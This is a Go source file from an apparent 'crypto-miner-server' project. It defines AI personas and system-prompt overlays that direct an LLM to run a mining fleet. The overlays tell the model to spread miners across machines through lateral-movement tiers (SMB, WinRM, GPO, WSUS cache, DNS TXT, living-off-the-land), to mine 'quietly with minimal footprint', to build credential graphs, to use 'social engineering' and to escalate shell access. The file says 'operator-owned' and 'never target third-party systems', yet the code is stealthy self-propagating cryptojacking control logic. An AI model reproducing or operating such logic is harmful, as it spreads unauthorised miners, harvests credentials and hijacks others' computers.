package ai import ( "strings" "time" "crypto-miner-server/internal/strategy" ) const ( PersonaAggressive = "aggressive" PersonaSilent = "silent" PersonaPassive = "passive" PersonaPersuasive = "persuasive" PersonaBalanced = "balanced" ) // NormalizePersona maps aliases and unknown values to a valid persona id. func NormalizePersona(mode string) string { switch strings.ToLower(strings.TrimSpace(mode)) { case PersonaAggressive: return PersonaAggressive case PersonaSilent: return PersonaSilent case PersonaPassive: return PersonaPassive case PersonaPersuasive: return PersonaPersuasive case PersonaBalanced, "": return PersonaBalanced default: return PersonaBalanced } } // PersonaSystemPrompt returns the full fleet AI system prompt for the given Calibrate persona. func PersonaSystemPrompt(mode string) string { base := SystemPrompt() overlay := personaMissionOverlay(NormalizePersona(mode)) if overlay == "" { return base } return strings.TrimSpace(base + "\n\n" + overlay) } func personaMissionOverlay(mode string) string { switch mode { case PersonaAggressive: return strings.TrimSpace(`PERSONA: Aggressive — maximize fleet reach and hashrate on operator-owned hosts. Prioritize spread_now and discover_and_join on every cycle where probes allow. Retry failed tiers quickly; reorder_tiers to push high-yield lanes first. Request L4 clearance when stuck after tier exhaustion — escalate agent_command shell probes without waiting. Take every spread + mine opportunity; noisy retries are acceptable on your machines.`) case PersonaSilent: return strings.TrimSpace(`PERSONA: Silent — mine quietly with minimal footprint. Focus on restart_mining and in-process/container tiers. Never spread_now unless stuck after all 14 tiers failed. Prefer container/wsl/docker isolated tiers over smb/winrm/gpo. Avoid agent_command shell unless clearance is already L3+ and hashrate=0. No bulk_command unless a single agent is critically stuck.`) case PersonaPassive: return strings.TrimSpace(`PERSONA: Passive — observe and report; intervene only when mining is dead. Default to noop unless Mining hashrate=0 for ~10 minutes equivalent (chain exhausted or repeated zero reads). When intervening, prefer gentle restart_mining over spread_now. Never reorder_tiers aggressively. Do not request clearance elevation; avoid discover_and_join unless operator fleet would otherwise stay at zero H/s.`) case PersonaPersuasive: return strings.TrimSpace(`PERSONA: Persuasive — spread-first social engineering on owned fleet nodes. Attempt discover_and_join before restart_mining; build credential graph via service probes and join lanes. Use spread_now to stage peers, then sell mining as fleet health — restart_mining only after join lanes succeed or exhaust. Prefer reorder_tiers that front dns_txt, wsus_cache_peer, do_peer, and webrtc_mesh before brute-force mining restarts.`) default: // balanced return strings.TrimSpace(`PERSONA: Balanced — default mission behavior. Balance spread vs mine: try pending LOTL tiers when hashrate is low, restart_mining when chain exhausted, noop when healthy. Use clearance-aware agent_command only when stuck; discover_and_join when join lanes are available. Respond with short JSON commands; never target third-party systems.`) } } // CourtJudgeOverlay appends persona-specific guidance to the court JUDGE section. func CourtJudgeOverlay(mode string) string { switch NormalizePersona(mode) { case PersonaAggressive: return "Judge: favor spread_now, discover_and_join, or L4 shell recovery — aggressive recovery on operator hosts.\n" case PersonaSilent: return "Judge: favor restart_mining or isolated-tier spread only; avoid shell unless all tiers failed.\n" case PersonaPassive: return "Judge: prefer noop or a single gentle restart_mining; avoid spread unless hashrate=0 with exhausted chain.\n" case PersonaPersuasive: return "Judge: favor discover_and_join and spread_now before restart_mining; cite fleet health in verdict.\n" default: return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n" } } // PersonaSpreadTierOrder returns the default spread tier walk order for a Calibrate persona. // Used as propagation temperament when Fleet AI Control replaces adaptive strategy. func PersonaSpreadTierOrder(mode string) []string { switch NormalizePersona(mode) { case PersonaAggressive: return []string{ "vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo", } case PersonaSilent: return []string{ "vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", } case PersonaPassive: return []string{ "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", } case PersonaPersuasive: return []string{ "vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl", "docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo", } default: return DefaultSpreadTiers() } } // PersonaSpreadTemperament builds spread tier hints in adaptive_strategy shape for AI control mode. func PersonaSpreadTemperament(mode string) strategy.AdaptiveStrategy { persona := NormalizePersona(mode) order := PersonaSpreadTierOrder(persona) reason := strategy.StrategyReason{ Fact: "Calibrate ai_persona=" + persona, Inference: "Fleet AI Control shapes spread propagation personality", Action: "Prefer spread tier order: " + strings.Join(order, " → "), } return strategy.AdaptiveStrategy{ TierOrder: order, Reasoning: []strategy.StrategyReason{reason}, Confidence: 0.85, UpdatedAt: time.Now().UTC().Format(time.RFC3339), } }